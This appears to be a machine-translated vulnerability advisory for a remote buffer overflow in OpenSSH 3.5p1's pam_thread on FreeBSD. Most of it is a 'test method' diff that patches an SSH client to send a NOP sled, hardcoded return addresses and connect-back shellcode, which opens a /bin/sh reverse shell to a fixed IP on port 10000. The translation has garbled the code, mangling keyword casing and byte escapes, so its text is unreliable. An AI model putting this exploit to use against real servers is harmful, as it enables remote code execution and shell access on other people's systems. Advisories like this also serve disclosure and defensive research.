OpenSSH "pam_thread ()" Remote Buffer Overflow Vulnerability

Release date:
Updated on:

Affected Systems:
OpenSSH 3.5 p1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 48507

OpenSSH (Open Secure Shell) implements encrypted communication over the computer network using SSH.

OpenSSH has a remote buffer overflow vulnerability in the implementation of pam_thread (). Remote attackers can exploit this vulnerability to execute arbitrary code.

<* Source: Kingdom (kingcope@gmx.net)

Link: http://packetstormsecurity.org/files/view/102683/ssh_preauth_freebsd.txt
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Root @ debian :~ # Diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
667a668, 717
// Connect Back Shellcode

# Define IPADDR "\ xc0 \ xa8 \ x20 \ x80"
# Define PORT "\ x27 \ x10"/* htons (10000 )*/

Char SC [] =
"\ X90 \ x90"
"\ X90 \ x90"
"\ X31 \ xc9" // xor ecx, ecx
"\ Xf7 \ xe1" // mul ecx
"\ X51" // push ecx
"\ X41" // inc ecx
"\ X51" // push ecx
"\ X41" // inc ecx
"\ X51" // push ecx
"\ X51" // push ecx
"\ Xb0 \ x61" // mov al, 97
"\ Xcd \ x80" // int 80 h
"\ X89 \ xc3" // mov ebx, eax
"\ X68" IPADDR // push dword 0101017fh
"\ X66 \ x68" PORT // push word 4135
"\ X66 \ x51" // push cx
"\ X89 \ xe6" // mov esi, esp
"\ Xb2 \ x10" // mov dl, 16
"\ X52" // push edx
"\ X56" // push esi
"\ X50" // push eax
"\ X50" // push eax
"\ Xb0 \ x62" // mov al, 98
"\ Xcd \ x80" // int 80 h
"\ X41" // inc ecx
"\ Xb0 \ x5a" // mov al, 90
"\ X49" // dec ecx
"\ X51" // push ecx
"\ X53" // push ebx
"\ X53" // push ebx
"\ Xcd \ x80" // int 80 h
"\ X41" // inc ecx
"\ Xe2 \ xf5" // loop-10
"\ X51" // push ecx
"\ X68 \ x2f \ x2f \ x73 \ x68" // push dword 68732f2fh
"\ X68 \ x2f \ x62 \ x69 \ x6e" // push dword 6e69622fh
"\ X89 \ xe3" // mov ebx, esp
"\ X51" // push ecx
"\ X54" // push esp
"\ X53" // push ebx
"\ X53" // push ebx
"\ Xb0 \ xc4 \ x34 \ xff"
"\ Xcd \ x80"; // int 80 h

679a730, 737
Char buffer [8096];

// Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1
Memcpy (buffer, "AAAA \ x58 \ xd8 \ x07 \ x08" "CCCCDDDDEEEE \ xd8 \ xd8 \ x07 \ x08" "timed", 24 );
Memset (buffer + 24, \ x90', 5000 );
Memcpy (buffer + 24 + 5000, SC, sizeof (SC ));
Server_user = buffer;

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

OpenSSH
-------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.openssh.com/